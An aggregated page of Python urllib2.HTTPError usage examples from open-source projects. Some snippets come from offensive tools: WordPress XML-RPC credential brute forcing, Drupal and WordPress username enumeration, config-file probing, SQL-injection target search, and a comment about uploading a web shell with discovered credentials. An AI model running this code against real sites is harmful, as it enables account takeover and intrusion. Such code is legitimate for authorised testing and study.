Python urllib2.HTTPError() Examples

The following are code examples for showing how to use urllib2.HTTPError(). They are from open source Python projects. You can vote up the examples you like or vote down the ones you don't like.

Example 1
Project: sqliv   Author: the-robot   File: web.py    GNU General Public License v3.0 7 votes vote down vote up
def gethtml(url, lastURL=False):
    """return HTML of the given url"""

    if not (url.startswith("http://") or url.startswith("https://")):
        url = "http://" + url

    header = useragents.get()
    request = urllib2.Request(url, None, header)
    html = None

    try:
        reply = urllib2.urlopen(request, timeout=10)

    except urllib2.HTTPError, e:
        # read html content anyway for reply with HTTP500
        if e.getcode() == 500:
            html = e.read()
        #print >> sys.stderr, "[{}] HTTP error".format(e.code)
        pass 
Example 2
Project: serializekiller   Author: johndekroon   File: serializekiller.py    The Unlicense 7 votes vote down vote up
def jenkins(url, port):
    try:
        cli_port = False
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        try:
            output = urllib2.urlopen('https://'+url+':'+port+"/jenkins/", context=ctx, timeout=8).info()
            cli_port = int(output['X-Jenkins-CLI-Port'])
        except urllib2.HTTPError, e:
            if e.getcode() == 404:
                try:
                    output = urllib2.urlopen('https://'+url+':'+port, context=ctx, timeout=8).info()
                    cli_port = int(output['X-Jenkins-CLI-Port'])
                except:
                    pass
        except:
            pass 
Example 3
Project: pyblish-win   Author: pyblish   File: test_urllib2.py    GNU Lesser General Public License v3.0 6 votes vote down vote up
def test_invalid_redirect(self):
        from_url = "http://example.com/a.html"
        valid_schemes = ['http', 'https', 'ftp']
        invalid_schemes = ['file', 'imap', 'ldap']
        schemeless_url = "example.com/b.html"
        h = urllib2.HTTPRedirectHandler()
        o = h.parent = MockOpener()
        req = Request(from_url)
        req.timeout = socket._GLOBAL_DEFAULT_TIMEOUT

        for scheme in invalid_schemes:
            invalid_url = scheme + '://' + schemeless_url
            self.assertRaises(urllib2.HTTPError, h.http_error_302,
                              req, MockFile(), 302, "Security Loophole",
                              MockHeaders({"location": invalid_url}))

        for scheme in valid_schemes:
            valid_url = scheme + '://' + schemeless_url
            h.http_error_302(req, MockFile(), 302, "That's fine",
                MockHeaders({"location": valid_url}))
            self.assertEqual(o.req.get_full_url(), valid_url) 
Example 4
Project: core   Author: lifemapper   File: test_occurrence.py    GNU General Public License v3.0 6 votes vote down vote up
def test_delete_occ_does_not_exist(self, public_client):
        """Tests that user cannot delete occurrence set that does not exist

        Args:
            public_client (:obj:`LmWebclient`): A Lifemapper web service client
                instance for the public user.  This will be provided via
                pytest.
            scribe (:obj:`BorgScribe`): A Lifemapper BorgScribe object used for
                querying the database
        """
        bad_occ_id = 999999999
        with pytest.raises(urllib2.HTTPError) as e_info:
            public_client.delete_occurrence_set(bad_occ_id)
            assert e_info.code == HTTPStatus.NOT_FOUND
    
    # ............................ 
Example 5
Project: core   Author: lifemapper   File: test_occurrence.py    GNU General Public License v3.0 6 votes vote down vote up
def test_get_occ_does_not_exist(self, public_client):
        """Tests that user cannot get an occurrence set that does not exist

        Args:
            public_client (:obj:`LmWebclient`): A Lifemapper web service client
                instance for the public user.  This will be provided via
                pytest.
            scribe (:obj:`BorgScribe`): A Lifemapper BorgScribe object used for
                querying the database
        """
        bad_occ_id = 999999999
        with pytest.raises(urllib2.HTTPError) as e_info:
            public_client.get_occurrence_set(bad_occ_id)
            assert e_info.code == HTTPStatus.NOT_FOUND
    
    # ............................ 
Example 6
Project: core   Author: lifemapper   File: gbifquery.py    GNU General Public License v3.0 6 votes vote down vote up
def _getGBIFDownloadRequestResults(self, taxonKey):
      if not self._signedIn:
         raise LMError('Must be signed in to access secure GBIF services')
      queryParams = GBIF.QUERY_PARAMS[GBIF.OCCURRENCE_SERVICE].copy()
      queryParams[GBIF.REQUEST_TAXON_KEY] = taxonKey
      
      jsonPredicate = self._assembleDownloadPredicate(queryParams)
      url = '%s/%s/%s/%s'% (GBIF.REST_URL, GBIF.OCCURRENCE_SERVICE, 
                         GBIF.DOWNLOAD_COMMAND, GBIF.DOWNLOAD_REQUEST_COMMAND)
      headers = {'Content-Type': 'application/json'}
   
      # POST
      self._gbifQueryTime = dt.gmt().mjd
      try:
         req = urllib2.Request(url, jsonPredicate, headers)
         response = urllib2.urlopen(req)
      except urllib2.HTTPError, e:
         msg = ('Failed GBIF request with url %s; predicate %s (args: %s, reason: %s)' 
                % (url, str(jsonPredicate), str(e.args), str(e.reason)))
         self.log.error(msg)
         self._nubUUID = None
         raise LmHTTPError(e.code, msg=msg) 
Example 7
Project: sqliv   Author: the-robot   File: search.py    GNU General Public License v3.0 6 votes vote down vote up
def search(self, query, pages=10):
        """search and return an array of urls"""

        urls = []

        try:
            for url in google.search(query, start=0, stop=pages):
                urls.append(url)
        except HTTPError:
            exit("[503] Service Unreachable")
        except URLError:
            exit("[504] Gateway Timeout")
        except:
            exit("Unknown error occurred")
        else:
            return urls 
Example 8
Project: sqliv   Author: the-robot   File: reverseip.py    GNU General Public License v3.0 6 votes vote down vote up
def reverseip(url):
    """return domains from given the same server"""

    # get only domain name
    url = urlparse(url).netloc if urlparse(url).netloc != '' else urlparse(url).path.split("/")[0]

    source = "http://domains.yougetsignal.com/domains.php"
    useragent = useragents.get()
    contenttype = "application/x-www-form-urlencoded; charset=UTF-8"

    # POST method
    opener = urllib2.build_opener(
        urllib2.HTTPHandler(), urllib2.HTTPSHandler())
    data = urllib.urlencode([('remoteAddress', url), ('key', '')])

    request = urllib2.Request(source, data)
    request.add_header("Content-type", contenttype)
    request.add_header("User-Agent", useragent)

    try:
        result = urllib2.urlopen(request).read()

    except urllib2.HTTPError, e:
        print >> sys.stderr, "[{}] HTTP error".format(e.code) 
Example 9
Project: epschedule   Author: guberti   File: authenticate_user.py    MIT License 6 votes vote down vote up
def auth_user(username, password):
    # The thing in the UTF8 field is the encoded version of the UTF8 checkmark
    auth_token = get_auth_token()
    obj = {
        "authenticity_token": auth_token,
        "pseudonym_session[unique_id]": username,
        "redirect_to_ssl": "1",
        "pseudonym_session[password]": password,
        "utf8": "%E2%9C%93",
        "pseudonym_session[remember_me]": "0",
    }
    logging.info("Sending auth request for %s", username)

    try:
        post(AUTHENTICATION_URL, obj)
        return True
    except urllib2.HTTPError as e:
        logging.error("Auth request returned " + str(e.code))
        html = e.fp.read()
        notices_pos = html.find('"notices"')
        logging.error(html[notices_pos:])
        return False 
Example 10
Project: rebel-framework   Author: reb311ion   File: cmsmap.py    GNU General Public License v3.0 6 votes vote down vote up
def NotExisitingCode(self):
        self.NotExisitingFile = ["/N0W43H3r3.php","/N0W"+time.strftime('%d%m%H%M%S')+".php", "/N0WaY/N0WaY12/N0WaY123.php"]
        # check without URL redirection
        for file in self.NotExisitingFile :
            req = urllib2.Request(self.url+file,None, self.headers)
            noRedirOpener = urllib2.build_opener(NoRedirects())        
            try:
                htmltext = noRedirOpener.open(req).read()
                self.notValidLen.append(len(htmltext))
            except urllib2.HTTPError, e:
                #print e.code
                self.notValidLen.append(len(e.read()))
                self.notExistingCode = e.code
            except urllib2.URLError, e:
                msg = "Website Unreachable: "+self.url
                report.error(msg)
                sys.exit()      
        # check with URL redirection 
Example 11
Project: rebel-framework   Author: reb311ion   File: cmsmap.py    GNU General Public License v3.0 6 votes vote down vote up
def WPVersion(self):
        try:
            req = urllib2.Request(self.url+'/readme.html',None,self.headers)
            htmltext = urllib2.urlopen(req).read()         
            regex = '.*wordpress-logo.png" /></a>\n.*<br />.* (\d+\.\d+[\.\d+]*)\n</h1>'
            pattern =  re.compile(regex)
            version = re.findall(pattern,htmltext)    
            if version:
                msg = "Wordpress Version: "+version[0]; report.info(msg)                     
        except urllib2.HTTPError, e:
            try:
                req = urllib2.Request(self.url,None,self.headers)
                htmltext = urllib2.urlopen(req).read()
                version = re.findall('<meta name="generator" content="WordPress (\d+\.\d+[\.\d+]*)"', htmltext)
                if version:
                    msg = "Wordpress Version: "+version[0]; report.info(msg)
            except urllib2.HTTPError, e:
                pass 
Example 12
Project: rebel-framework   Author: reb311ion   File: cmsmap.py    GNU General Public License v3.0 6 votes vote down vote up
def WPXMLRPC_BF(self):
        msg = "Checking XML-RPC Brute Force Vulnerability ..."; report.verbose(msg)
        self.headers['Content-Type'] ='text/xml'
        self.postdata = '''<methodCall><methodName>wp.getUsersBlogs</methodName><params>
                        <param><value><string>admin</string></value></param>
                        <param><value><string></string></value></param>
                        </params></methodCall>'''
        try:
            req = urllib2.Request(self.url+'/xmlrpc.php',self.postdata,self.headers)
            #opener = urllib2.build_opener(urllib2.HTTPHandler(debuglevel=1))
            opener = urllib2.build_opener(MyHandler())
            htmltext = opener.open(req).read()
            if re.search('<int>403</int>',htmltext):
                msg = "Website vulnerable to XML-RPC Brute Force Vulnerability"; report.medium(msg)
        except urllib2.HTTPError, e:
            print e.code
            pass 
Example 13
Project: rebel-framework   Author: reb311ion   File: cmsmap.py    GNU General Public License v3.0 6 votes vote down vote up
def JooVersion(self):
        try:
            htmltext = urllib2.urlopen(self.url+'/joomla.xml').read()
            regex = '<version>(.+?)</version>'
            pattern =  re.compile(regex)
            version = re.findall(pattern,htmltext)
            if version:
                msg = "Joomla Version: "+version[0]; report.info(msg)
                if version[0] in self.versions :
                    for ver in self.versions:
                        searcher.query = ver; searcher.Core()
                        if ver == version[0]:
                            break 
        except urllib2.HTTPError, e:
            #print e.code
            pass 
Example 14
Project: rebel-framework   Author: reb311ion   File: cmsmap.py    GNU General Public License v3.0 6 votes vote down vote up
def DruVersion(self):
        try:
            htmltext = urllib2.urlopen(self.url+'/CHANGELOG.txt').read()
            regex = 'Drupal (\d+\.\d+),'
            pattern =  re.compile(regex)
            version = re.findall(pattern,htmltext)
            if version:
                self.DruVersion = version[0]
                msg = "Drupal Version: "+version[0]; report.info(msg)
                self.DruCore()
                if version[0] in self.versions :
                    for ver in self.versions:
                        searcher.query = ver; searcher.Core()
                        if ver == version[0]:
                            break 
        except urllib2.HTTPError, e:
            #print e.code
            pass 
Example 15
Project: rebel-framework   Author: reb311ion   File: cmsmap.py    GNU General Public License v3.0 6 votes vote down vote up
def DruViews(self):
        self.views = "/?q=admin/views/ajax/autocomplete/user/"
        self.alphanum = list("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")
        usernames = []
        msg =  "Enumerating Drupal Usernames via \"Views\" Module..."; report.message(msg)
        req = urllib2.Request(self.url+"/?q=admin/views/ajax/autocomplete/user/NotExisingUser1234!",None, self.headers)
        noRedirOpener = urllib2.build_opener(NoRedirects())        
        try:
            htmltext = noRedirOpener.open(req).read()
            #If NotExisingUser1234 returns [], then enumerate users
            if htmltext == '[]':
                for letter in self.alphanum:
                    htmltext = urllib2.urlopen(self.url+self.views+letter).read()
                    regex = '"(.+?)"'
                    pattern =  re.compile(regex)
                    usernames = usernames + re.findall(pattern,htmltext)
                usernames = sorted(set(usernames))
                self.usernames = usernames
                for user in usernames:
                    msg = user; report.info(msg)
        except urllib2.HTTPError, e:
            pass 
Example 16
Project: rebel-framework   Author: reb311ion   File: cmsmap.py    GNU General Public License v3.0 6 votes vote down vote up
def DruBlog(self):
        self.blog = "/?q=blog/"
        usernames = []
        try:
            urllib2.urlopen(self.url+self.blog)
            msg =  "Enumerating Drupal Usernames via \"Blog\" Module..."; report.message(msg)
            report.WriteTextFile(msg)
            for blognum in range (1,50):
                try:
                    htmltext = urllib2.urlopen(self.url+self.blog+str(blognum)).read()
                    regex = "<title>(.+?)\'s"
                    pattern =  re.compile(regex)
                    user = re.findall(pattern,htmltext)
                    usernames = usernames + user
                    if user : msg = user[0] ; report.info(msg)
                except urllib2.HTTPError, e:
                    pass
            usernames = sorted(set(usernames))
            self.usernames = usernames 
Example 17
Project: rebel-framework   Author: reb311ion   File: cmsmap.py    GNU General Public License v3.0 6 votes vote down vote up
def WPXMLRPC_brute(self):
            msg = "Starting XML-RPC Brute Forcing"; report.verbose(msg)
            for user in self.usrlist:
                for pwd in self.pswlist:
                    self.headers['Content-Type'] ='text/xml'
                    self.postdata = ('<methodCall><methodName>wp.getUsersBlogs</methodName><params>'
                                     '<param><value><string>'+user+'</string></value></param>'
                                     '<param><value><string>'+pwd+'</string></value></param></params></methodCall>')
                    msg = "Trying Credentials: "+user+" "+pwd; report.verbose(msg)
                    try:
                        req = urllib2.Request(self.url+'/xmlrpc.php',self.postdata,self.headers)
                        opener = urllib2.build_opener(MyHandler())
                        htmltext = opener.open(req).read()
                        if re.search('<name>isAdmin</name><value><boolean>0</boolean>',htmltext):
                            msg = "Valid Credentials: "+user+" "+pwd; report.high(msg)
                            self.WPValidCredentials.append([user,pwd])
                        elif re.search('<name>isAdmin</name><value><boolean>1</boolean>',htmltext):
                            msg = "Valid ADMIN Credentials: "+user+" "+pwd; report.high(msg)
                            self.WPValidCredentials.append([user,pwd])
                    except urllib2.HTTPError, e:
                        print e.code
                        pass
            # Try to upload a web shell with the discovered credentials 
Example 18
Project: alfred-yubikey-otp   Author: robertoriv   File: web.py    MIT License 5 votes vote down vote up
def raise_for_status(self):
        """Raise stored error if one occurred.

        error will be instance of :class:`urllib2.HTTPError`
        """
        if self.error is not None:
            raise self.error
        return 
Example 19
Project: pyblish-win   Author: pyblish   File: test_urllib2_localnet.py    GNU Lesser General Public License v3.0 5 votes vote down vote up
def test_basic_auth_success(self):
        ah = urllib2.HTTPBasicAuthHandler()
        ah.add_password(self.REALM, self.server_url, self.USER, self.PASSWD)
        urllib2.install_opener(urllib2.build_opener(ah))
        try:
            self.assertTrue(urllib2.urlopen(self.server_url))
        except urllib2.HTTPError:
            self.fail("Basic Auth Failed for url: %s" % self.server_url)
        except Exception as e:
            raise e 
Example 20
Project: pyblish-win   Author: pyblish   File: test_urllib2_localnet.py    GNU Lesser General Public License v3.0 5 votes vote down vote up
def test_basic_auth_httperror(self):
        ah = urllib2.HTTPBasicAuthHandler()
        ah.add_password(self.REALM, self.server_url, self.USER,
                        self.INCORRECT_PASSWD)
        urllib2.install_opener(urllib2.build_opener(ah))
        self.assertRaises(urllib2.HTTPError, urllib2.urlopen, self.server_url) 
Example 21
Project: pyblish-win   Author: pyblish   File: test_urllib2_localnet.py    GNU Lesser General Public License v3.0 5 votes vote down vote up
def test_proxy_with_bad_password_raises_httperror(self):
        self.proxy_digest_handler.add_password(self.REALM, self.URL,
                                               self.USER, self.PASSWD+"bad")
        self.digest_auth_handler.set_qop("auth")
        self.assertRaises(urllib2.HTTPError,
                          self.opener.open,
                          self.URL) 
Example 22
Project: pyblish-win   Author: pyblish   File: test_urllib2_localnet.py    GNU Lesser General Public License v3.0 5 votes vote down vote up
def test_proxy_with_no_password_raises_httperror(self):
        self.digest_auth_handler.set_qop("auth")
        self.assertRaises(urllib2.HTTPError,
                          self.opener.open,
                          self.URL) 
Example 23
Project: pyblish-win   Author: pyblish   File: test_urllib2.py    GNU Lesser General Public License v3.0 5 votes vote down vote up
def test_HTTPError_interface(self):
        """
        Issue 13211 reveals that HTTPError didn't implement the URLError
        interface even though HTTPError is a subclass of URLError.

        >>> err = urllib2.HTTPError(msg='something bad happened', url=None, code=None, hdrs=None, fp=None)
        >>> assert hasattr(err, 'reason')
        >>> err.reason
        'something bad happened'
        """ 
Example 24
Project: pyblish-win   Author: pyblish   File: test_urllib2.py    GNU Lesser General Public License v3.0 5 votes vote down vote up
def test_HTTPError_interface_call(self):
        """
        Issue 15701= - HTTPError interface has info method available from URLError.
        """
        err = urllib2.HTTPError(msg='something bad happened', url=None,
                                code=None, hdrs='Content-Length:42', fp=None)
        self.assertTrue(hasattr(err, 'reason'))
        assert hasattr(err, 'reason')
        assert hasattr(err, 'info')
        assert callable(err.info)
        try:
            err.info()
        except AttributeError:
            self.fail("err.info() failed")
        self.assertEqual(err.info(), "Content-Length:42") 
Example 25
Project: wechat-alfred-workflow   Author: TKkk-iOSer   File: web.py    MIT License 5 votes vote down vote up
def raise_for_status(self):
        """Raise stored error if one occurred.

        error will be instance of :class:`urllib2.HTTPError`
        """
        if self.error is not None:
            raise self.error
        return 
Example 26
Project: sqliv   Author: the-robot   File: search.py    GNU General Public License v3.0 5 votes vote down vote up
def search(self, query, pages=10):
        try:
            return bingsearch.search(query, stop=pages)
        except HTTPError:
            exit("[503] Service Unreachable")
        except URLError:
            exit("[504] Gateway Timeout")
        except:
            exit("Unknown error occurred") 
Example 27
Project: sqliv   Author: the-robot   File: search.py    GNU General Public License v3.0 5 votes vote down vote up
def search(self, query, pages=1):
        try:
            return yahoosearch.search(query, pages)
        except HTTPError:
            exit("[503] Service Unreachable")
        except URLError:
            exit("[504] Gateway Timeout")
        except:
            exit("Unknown error occurred") 
Example 28
Project: alfred-urban-dictionary   Author: xilopaint   File: web.py    MIT License 5 votes vote down vote up
def raise_for_status(self):
        """Raise stored error if one occurred.

        error will be instance of :class:`urllib2.HTTPError`
        """
        if self.error is not None:
            raise self.error
        return 
Example 29
Project: AshsSDK   Author: thehappydinoa   File: __init__.py    MIT License 5 votes vote down vote up
def visit_image(self, node):
        # Capture the image file.
        if 'uri' in node.attributes:
            source = node.attributes['uri']
            if not (source.startswith('http:') or source.startswith('https:')):
                if not source.startswith(os.sep):
                    docsource, line = utils.get_source_line(node)
                    if docsource:
                        dirname = os.path.dirname(docsource)
                        if dirname:
                            source = '%s%s%s' % (dirname, os.sep, source, )
                if not self.check_file_exists(source):
                    self.document.reporter.warning(
                        'Cannot find image file %s.' % (source, ))
                    return
        else:
            return
        if source in self.image_dict:
            filename, destination = self.image_dict[source]
        else:
            self.image_count += 1
            filename = os.path.split(source)[1]
            destination = 'Pictures/1%08x%s' % (self.image_count, filename, )
            if source.startswith('http:') or source.startswith('https:'):
                try:
                    imgfile = urllib2.urlopen(source)
                    content = imgfile.read()
                    imgfile.close()
                    imgfile2 = tempfile.NamedTemporaryFile('wb', delete=False)
                    imgfile2.write(content)
                    imgfile2.close()
                    imgfilename = imgfile2.name
                    source = imgfilename
                except urllib2.HTTPError, e:
                    self.document.reporter.warning(
                        "Can't open image url %s." % (source, ))
                spec = (source, destination,)
            else: 
Example 30
Project: rgc   Author: TACC   File: __init__.py    BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def _getTags(self, url, remove_latest=False):
		'''
		Returns all tags for the image specified with URL
		
		# Parameters
		url (str): Image url used to pull
		remove_latest (bool): Removes the "latest" tag from the return set
		
		# Returns
		set: all tags associated with main image URL
		'''
		name = url.split(':')[0]
		if '/' not in name: name = 'library/'+name
		if url not in self.registry: self._getRegistry(url)
		if self.registry[url] == 'quay':
			name = '/'.join(name.split('/')[1:])
			query = 'https://quay.io/api/v1/repository/%s/tag/'%(name)
			key = 'tags'
		else:
			query = 'https://hub.docker.com/v2/repositories/%s/tags/'%(name)
			key = 'results'
		try:
			resp = json.loads(translate(urllib2.urlopen(query).read()))
			results = resp[key]
			while 'next' in resp and resp['next']:
				resp = json.loads(translate(urllib2.urlopen(resp['next']).read()))
				results += resp[key]
		except urllib2.HTTPError:
			self.logger.debug("No response from %s"%(query))
			return set([])
		all_tags = set([t['name'] for t in results])
		if not all_tags: return set([])
		max_len = max(map(len, all_tags))
		tag_str = '%%%is'%(max_len)
		debug_str = ', '.join(['\n'+tag_str%(tag) if (i) % 3 == 0 else tag_str%(tag) for i, tag in enumerate(all_tags)])
		if not remove_latest:
			return all_tags
		if 'latest' in all_tags:
			self.logger.debug("Removing the latest tag from %s"%(url))
		return all_tags-set(['latest']) 
Example 31
Project: Kython   Author: kiyadesu   File: CSDN.py    Apache License 2.0 5 votes vote down vote up
def RequestInOne(self,req_url,post_data=None):
        headers_data = {
            'User-Agent' :	'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36'
        }

        request = urllib2.Request(url=req_url,data=post_data,headers=headers_data)
        try:
            return self.opener.open(request)
        except urllib2.HTTPError as e:
            print e.read() 
Example 32
Project: presto-admin   Author: prestosql   File: server.py    Apache License 2.0 5 votes vote down vote up
def __init__(self, url):
        self.url = url
        self.url_response = None
        try:
            self.url_response = urllib2.urlopen(self.url)
        except urllib2.HTTPError as e:
            _LOGGER.error('Url %s responded with code %s' % (url, e.code))
            raise 
Example 33
Project: openhatch   Author: campbe13   File: ohloh.py    GNU Affero General Public License v3.0 5 votes vote down vote up
def ohloh_url2data(url, selector, params={}, many=False, API_KEY=None):
    '''Input: A URL to get,
    a bunch of parameters to toss onto the end url-encoded,
    many (a boolean) indicating if we should return a list of just one datum,
    API_KEY suggesting a key to use with Ohloh.

    Output: A list/dictionary of Ohloh data plus a saved WebResponse instance that
    logs information about the request.'''

    if API_KEY is None:
        API_KEY = settings.OHLOH_API_KEY

    my_params = {u'api_key': unicode(API_KEY)}
    my_params.update(params)
    params = my_params
    del my_params

    # FIXME: We return more than just "ret" these days! Rename this variable.
    ret = []

    encoded = http.urlencode(params)
    url += encoded
    try:
        b = mysite.customs.mechanize_helpers.mechanize_get(url)
        web_response = mysite.customs.models.WebResponse.create_from_browser(b)
        # Always save the WebResponse, even if we don't know
        web_response.save()
        # that any other object will store a pointer here.
    except urllib2.HTTPError, e:
        # FIXME: Also return a web_response for error cases
        if str(e.code) == '404':
            if many:
                return [], None
            return {}, None
        else:
            raise 
Example 34
Project: openhatch   Author: campbe13   File: ohloh.py    GNU Affero General Public License v3.0 5 votes vote down vote up
def get_icon_for_project_by_human_name(self, project):
        """@param project: the name of a project."""
        # Do a real search to find the project
        try:
            data = self.project_name2projectdata(project)
        except urllib2.HTTPError:
            raise ValueError
        try:
            med_logo = process_logo_filename(data['medium_logo_url'])
        except TypeError:
            raise ValueError, "Ohloh gave us back nothing."
        except KeyError:
            raise ValueError, "The project exists, but Ohloh knows no icon."
        b = mysite.customs.mechanize_helpers.mechanize_get(med_logo)
        return b.response().read() 
Example 35
Project: openhatch   Author: campbe13   File: ohloh.py    GNU Affero General Public License v3.0 5 votes vote down vote up
def get_icon_for_project_by_id(self, project):
        try:
            data = self.project_id2projectdata(project_name=project)
        except urllib2.HTTPError:
            raise ValueError
        try:
            med_logo = process_logo_filename(data['medium_logo_url'])
        except KeyError:
            raise ValueError, "The project exists, but Ohloh knows no icon."
        b = mysite.customs.mechanize_helpers.mechanize_get(med_logo)
        return b.response().read() 
Example 36
Project: openhatch   Author: campbe13   File: deploy.py    GNU Affero General Public License v3.0 5 votes vote down vote up
def _http_post(request):
    try:
        f = urllib2.urlopen(request)
        _log("Server response (%s):" % f.code)
        print f.read()
    except urllib2.HTTPError, e:
        _log("Deploy failed (%s):" % e.code)
        print e.read() 
Example 37
Project: WeBASE-Doc   Author: WeBankFinTech   File: conf.py    Apache License 2.0 5 votes vote down vote up
def _patched_fetch_urls(lfs_url, oid_list):
        """Hack git_lfs library that sometimes makes too big requests"""
        objects = []

        try:
            objects.extend(_fetch_urls(lfs_url, oid_list))
        except HTTPError as err:
            if err.code != 413:
                raise
            print("LFS: request entity too large, splitting in half")
            objects.extend(_patched_fetch_urls(lfs_url, oid_list[:len(oid_list) // 2]))
            objects.extend(_patched_fetch_urls(lfs_url, oid_list[len(oid_list) // 2:]))

        return objects 
Example 38
Project: WeBASE-Doc   Author: WeBankFinTech   File: conf.py    Apache License 2.0 5 votes vote down vote up
def _patched_fetch_urls(lfs_url, oid_list):
        """Hack git_lfs library that sometimes makes too big requests"""
        objects = []

        try:
            objects.extend(_fetch_urls(lfs_url, oid_list))
        except HTTPError as err:
            if err.code != 413:
                raise
            print("LFS: request entity too large, splitting in half")
            objects.extend(_patched_fetch_urls(lfs_url, oid_list[:len(oid_list) // 2]))
            objects.extend(_patched_fetch_urls(lfs_url, oid_list[len(oid_list) // 2:]))

        return objects 
Example 39
Project: endpoints-tools   Author: cloudendpoints   File: call_service_control.py    Apache License 2.0 5 votes vote down vote up
def call_report(access_token, operation_id, args):
  headers = {"Authorization": "Bearer {}".format(access_token),
             "X-Cloud-Trace-Context": "{};o=1".format(operation_id),
             "Content-Type": "application/json"}
  url = "https://servicecontrol.googleapis.com/v1/services/{}:report".format(args.service_name)
  data_obj = {"service_name": args.service_name,
          "operations": [{
              "operation_id": operation_id,
              "operation_name": "/echo",
              "consumer_id": "api_key:{}".format(args.api_key),
              "start_time": {
                "seconds": int(time.time())
              },
              "end_time": {
                "seconds": int(time.time())
              }
           }]
         }
  data = json.dumps(data_obj)
  t0 = time.time()
  try:
    request = urllib2.Request(url, data, headers)
    response = urllib2.urlopen(request)
    trace_id = response.info().getheader("X-GOOG-TRACE-ID")
#    print "response: {}".format(response.info())
  except urllib2.HTTPError as e:
    print "{} Check failed code: {},  error {}".format(time.ctime(), e.code, e.reason)
    return
  latency = time.time() - t0
  if trace_id and (latency >= 15.0):
    print "{}: report big latency {}, trace_id: {} operation_id: {}".format(time.ctime(), latency, trace_id, operation_id) 
Example 40
Project: endpoints-tools   Author: cloudendpoints   File: call_service_control.py    Apache License 2.0 5 votes vote down vote up
def call_check(access_token, operation_id, args):
  headers = {"Authorization": "Bearer {}".format(access_token),
             "X-Cloud-Trace-Context": "{};o=1".format(operation_id),
             "Content-Type": "application/json"}
  url = "https://servicecontrol.googleapis.com/v1/services/{}:check".format(args.service_name)
  data_obj = {"service_name": args.service_name,
          "operation": {
              "operation_id": operation_id,
              "operation_name": "/echo",
              "consumer_id": "api_key:{}".format(args.api_key),
              "start_time": {
                "seconds": int(time.time())
              }
           }
         }
  data = json.dumps(data_obj)
  t0 = time.time()
  try:
    request = urllib2.Request(url, data, headers)
    response = urllib2.urlopen(request)
    trace_id = response.info().getheader("X-GOOG-TRACE-ID")
#    print "response: {}".format(response.info())
  except urllib2.HTTPError as e:
    print "{} Check failed code: {},  error {}".format(time.ctime(), e.code, e.reason)
    return
  latency = time.time() - t0
  if trace_id and (latency >= 5.0):
    print "{}: check big latency {}, trace_id: {} operation_id: {}".format(time.ctime(), latency, trace_id, operation_id) 
Example 41
Project: pi-hush   Author: jofrep   File: netmon2led.py    GNU General Public License v2.0 5 votes vote down vote up
def internetacess():
    url = "http://clients3.google.com/generate_204"
    try:
        connection = urllib2.urlopen(url,timeout = 1)
        code =  connection.getcode()
        connection.close()
    except urllib2.HTTPError, e:
        code = e.getcode() 
Example 42
Project: gist-alfred   Author: danielecook   File: web.py    MIT License 5 votes vote down vote up
def raise_for_status(self):
        """Raise stored error if one occurred.

        error will be instance of :class:`urllib2.HTTPError`
        """
        if self.error is not None:
            raise self.error
        return 
Example 43
Project: rebel-framework   Author: reb311ion   File: cmsmap.py    GNU General Public License v3.0 5 votes vote down vote up
def FindCMSType(self):
        req = urllib2.Request(self.url,None,self.headers)
        try:
            htmltext = urllib2.urlopen(req).read()
            # WordPress
            req = urllib2.Request(self.url+"/wp-config.php")
            try:
                htmltext = urllib2.urlopen(req).read()       
                if len(htmltext) not in self.notValidLen and self.force is None:
                    self.force = 'W'
            except urllib2.HTTPError, e:
                #print e.code
                if e.code == 403 and len(htmltext) not in self.notValidLen and self.force is None:                 
                    self.force = 'W'
                else:
                    #print e.code
                    msg = "WordPress Config File Not Found: "+self.url+"/wp-config.php"
                    report.verbose(msg)           
            # Joomla
            req = urllib2.Request(self.url+"/configuration.php")
            try:
                htmltext = urllib2.urlopen(req).read()              
                if len(htmltext) not in self.notValidLen and self.force is None:
                    self.force = 'J'
            except urllib2.HTTPError, e:
                if e.code == 403 and len(e.read()) not in self.notValidLen and self.force is None:
                    self.force = 'J'
                else:
                    #print e.code
                    msg = "Joomla Config File Not Found: "+self.url+"/configuration.php"
                    report.verbose(msg)              
            # Drupal 
Example 44
Project: rebel-framework   Author: reb311ion   File: cmsmap.py    GNU General Public License v3.0 5 votes vote down vote up
def WPCurrentTheme(self):
        try:
            req = urllib2.Request(self.url,None,self.headers)
            htmltext = urllib2.urlopen(req).read()
            regex = '/wp-content/themes/(.+?)/'
            pattern =  re.compile(regex)
            CurrentTheme = re.findall(pattern,htmltext)
            if CurrentTheme:
                self.theme = CurrentTheme[0]
                msg = "Wordpress Theme: "+self.theme ; report.info(msg)
                searcher.query = [self.theme]; searcher.Themes()
        except urllib2.HTTPError, e:
            #print e.code
            pass 
Example 45
Project: rebel-framework   Author: reb311ion   File: cmsmap.py    GNU General Public License v3.0 5 votes vote down vote up
def WPConfigFiles(self):
        for file in self.confFiles:
            req = urllib2.Request(self.url+"/wp-config"+file,None,self.headers)
            try:
                htmltext = urllib2.urlopen(req).read()
                if len(htmltext) not in self.notValidLen:
                    msg = "Configuration File Found: " +self.url+"/wp-config"+file; report.high(msg)
            except urllib2.HTTPError, e:
                pass 
Example 46
Project: rebel-framework   Author: reb311ion   File: cmsmap.py    GNU General Public License v3.0 5 votes vote down vote up
def WPFeed(self):
        msg = "Enumerating Wordpress Usernames via \"Feed\" ..."; report.message(msg)
        try:
            req = urllib2.Request(self.url+self.feed,None,self.headers)
            htmltext = urllib2.urlopen(req).read()
            wpUsers = re.findall("<dc:creator><!\[CDATA\[(.+?)\]\]></dc:creator>", htmltext,re.IGNORECASE)
            wpUsers2 = re.findall("<dc:creator>(.+?)</dc:creator>", htmltext,re.IGNORECASE)
            if wpUsers :
                self.usernames = wpUsers + self.usernames
                self.usernames = sorted(set(self.usernames))
            #for user in self.usernames:
                #msg = user; report.medium(msg)
        except urllib2.HTTPError, e:
            #print e.code
            pass 
Example 47
Project: rebel-framework   Author: reb311ion   File: cmsmap.py    GNU General Public License v3.0 5 votes vote down vote up
def WPAuthor(self):
        msg = "Enumerating Wordpress Usernames via \"Author\" ..."; report.message(msg)
        for user in range(1,20):
            try:
                req = urllib2.Request(self.url+self.author+str(user),None,self.headers)
                htmltext = urllib2.urlopen(req).read()
                wpUser = re.findall("author author-(.+?) ", htmltext,re.IGNORECASE)
                if wpUser : self.usernames = wpUser + self.usernames
